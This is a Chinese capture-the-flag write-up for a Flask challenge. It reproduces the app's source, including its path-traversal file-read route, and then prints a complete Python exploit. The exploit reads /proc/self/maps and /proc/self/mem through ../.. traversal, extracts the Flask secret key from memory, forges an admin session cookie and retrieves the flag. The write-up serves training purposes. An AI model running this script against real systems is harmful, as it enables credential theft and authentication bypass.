进入靶场
🐱
点击图片时发现url处很可疑
想到文件读取
../app.py
# 导入 os 模块,用于与操作系统进行交互,例如文件操作、路径操作等
import os
# 导入 uuid 模块,用于生成通用唯一识别码,常用于生成随机的密钥
import uuid
# 从 flask 模块中导入 Flask 类、request 对象、session 对象、render_template 函数和 Markup 类
# Flask 类用于创建 Flask 应用实例
# request 对象用于获取客户端的请求信息
# session 对象用于管理用户会话
# render_template 函数用于渲染 HTML 模板
# Markup 类用于处理 HTML 标记
from flask import Flask, request, session, render_template, Markup
# 从 cat 模块中导入 cat 函数,该函数可能用于读取文件内容
from cat import cat# 初始化一个空字符串,用于存储从文件中读取的标志信息
flag = ""# 创建一个 Flask 应用实例
# __name__ 是 Python 中的一个内置变量,表示当前模块的名称
# static_url_path='/' 表示静态文件的 URL 前缀为根路径
# static_folder='static' 表示静态文件存储在 'static' 文件夹中
app = Flask(__name__,static_url_path='/',static_folder='static'
)# 为应用设置一个随机生成的密钥,用于加密会话数据
# str(uuid.uuid4()).replace("-", "") 生成一个随机的 UUID 并去除其中的连字符
# "*abcdefgh" 是自定义的后缀,增加密钥的复杂度
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"# 检查系统中是否存在 '/flag' 文件
if os.path.isfile("/flag"):# 如果文件存在,使用 cat 函数读取文件内容并赋值给 flag 变量flag = cat("/flag")# 读取完成后,删除 '/flag' 文件,确保文件内容不会被再次读取os.remove("/flag")# 定义一个路由,当客户端访问根路径('/')时,执行 index 函数
@app.route('/', methods=['GET'])
def index():# 获取 './details/' 文件夹下的所有文件名detailtxt = os.listdir('./details/')# 初始化一个空列表,用于存储处理后的文件名cats_list = []# 遍历 './details/' 文件夹下的所有文件名for i in detailtxt:# 截取文件名中 '.' 之前的部分,并添加到 cats_list 列表中cats_list.append(i[:i.index('.')])# 渲染 'index.html' 模板,并将 cats_list 和 cat 函数传递给模板return render_template("index.html", cats_list=cats_list, cat=cat)# 定义一个路由,当客户端访问 '/info' 路径时,执行 info 函数
# 支持 GET 和 POST 请求方法
@app.route('/info', methods=["GET", 'POST'])
def info():# 从请求的查询参数中获取 'file' 参数的值,并拼接成文件的完整路径filename = "./details/" + request.args.get('file', "")# 从请求的查询参数中获取 'start' 参数的值,如果不存在则默认为 '0'start = request.args.get('start', "0")# 从请求的查询参数中获取 'end' 参数的值,如果不存在则默认为 '0'end = request.args.get('end', "0")# 从请求的查询参数中获取 'file' 参数的值,并截取 '.' 之前的部分作为文件名name = request.args.get('file', "")[:request.args.get('file', "").index('.')]# 渲染 'detail.html' 模板,并将文件名和文件内容传递给模板return render_template("detail.html", catname=name, info=cat(filename, start, end))# 定义一个路由,当客户端访问 '/admin' 路径时,执行 admin_can_list_root 函数
@app.route('/admin', methods=["GET"])
def admin_can_list_root():# 检查会话中 'admin' 键的值是否为 1if session.get('admin') == 1:# 如果是,则返回存储的标志信息return flagelse:# 如果不是,则将会话中 'admin' 键的值设置为 0session['admin'] = 0# 并返回 "NoNoNo" 提示信息return "NoNoNo"# 当该脚本作为主程序运行时,启动 Flask 应用
if __name__ == '__main__':# 应用监听所有可用的网络接口app.run(host='0.0.0.0',# 关闭调试模式,避免在生产环境中泄露敏感信息debug=False,# 应用监听的端口号为 5637port=5637)
按照要求用脚本爆破
【愚公系列】2023年05月 攻防世界-Web(catcat-new)-CSDN博客
# 声明文件编码为 UTF-8,确保可以正确处理包含非 ASCII 字符的文本
# coding=utf-8
#----------------------------------
###################################
# 代码编辑者信息,表明代码由 lx56 在 blog.lxscloud.top 编辑
#Edited by lx56@blog.lxscloud.top
###################################
#----------------------------------
# 导入 requests 库,用于发送 HTTP 请求
import requests
# 导入 re 库,用于进行正则表达式匹配
import re
# 导入 ast 库,用于将字符串形式的 Python 数据结构转换为实际的数据结构
# 导入 sys 库,用于获取 Python 解释器的相关信息
import ast, sys
# 从 abc 模块中导入 ABC 类,用于创建抽象基类
from abc import ABC
# 从 flask.sessions 模块中导入 SecureCookieSessionInterface 类,用于处理 Flask 会话的签名和序列化
from flask.sessions import SecureCookieSessionInterface# 目标网站的 URL
url = "http://61.147.171.105:51337/"# 此程序只能运行于 Python 3 以上版本
# sys.version_info[0] 表示 Python 主版本号
if sys.version_info[0] < 3: # < 3.0# 如果 Python 版本小于 3,抛出异常提示必须使用至少 Python 3raise Exception('Must be using at least Python 3')#----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
# 定义一个 MockApp 类,用于模拟 Flask 应用
class MockApp(object):def __init__(self, secret_key):# 初始化方法,接收一个 secret_key 参数并赋值给实例属性self.secret_key = secret_key# 定义一个抽象基类 FSCM,用于封装 Flask 会话编码的功能
class FSCM(ABC):# 定义一个类方法 encode,用于编码 Flask 会话 cookiedef encode(secret_key, session_cookie_structure):# Encode a Flask session cookietry:# 创建一个 MockApp 实例,传入 secret_keyapp = MockApp(secret_key)# 将字符串形式的会话结构转换为字典session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))# 创建 SecureCookieSessionInterface 实例si = SecureCookieSessionInterface()# 获取用于签名和序列化会话的序列化器s = si.get_signing_serializer(app)# 对会话结构进行序列化并返回return s.dumps(session_cookie_structure)except Exception as e:# 如果出现异常,返回错误信息return "[Encoding error] {}".format(e)# 抛出异常raise e# 初始化 secret key 为空字符串
s_key = ""
# 定义路径绕过字符串,用于构造请求路径
bypass = "../.."
# 发送 GET 请求到 info 路由,尝试读取 /proc/self/maps 文件
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
# 将响应文本按换行符分割成列表
map_list = map_list.text.split("\\n")
# 遍历列表中的每一行
for i in map_list:# 使用正则表达式匹配具有读写权限的内存地址范围map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)if map_addr:# 将匹配到的起始地址转换为十六进制整数start = int(map_addr.group(1), 16)# 将匹配到的结束地址转换为十六进制整数end = int(map_addr.group(2), 16)# 打印找到的具有读写权限的地址范围print("Found rw addr:", start, "-", end)# 发送 GET 请求到 info 路由,读取 /proc/self/mem 文件的指定范围res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")# 检查响应文本中是否包含特定的字符串 "*abcdefgh"if "*abcdefgh" in res.text:# 使用正则表达式查找符合特定格式的 secret keysecret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)if secret_key:# 打印找到的 secret keyprint("Secret Key:", secret_key[0])# 将找到的 secret key 赋值给 s_key 变量s_key = secret_key[0]# 找到 secret key 后跳出循环break# 定义会话数据,将 admin 的值设置为 1
data = '{"admin":1}'
# 构造包含伪造会话 cookie 的请求头
headers = {"Cookie": "session=" + FSCM.encode(s_key, data)
}
# 尝试发送 GET 请求到 admin 路由,携带伪造的会话 cookie
try:flag = requests.get(url + "admin", headers=headers)# 打印获取到的 flag 信息print("Flag is", flag.text)
except:# 如果出现异常,打印错误提示信息print("Something error")
得到flag
catctf{Catch_the_c4t_HaHa}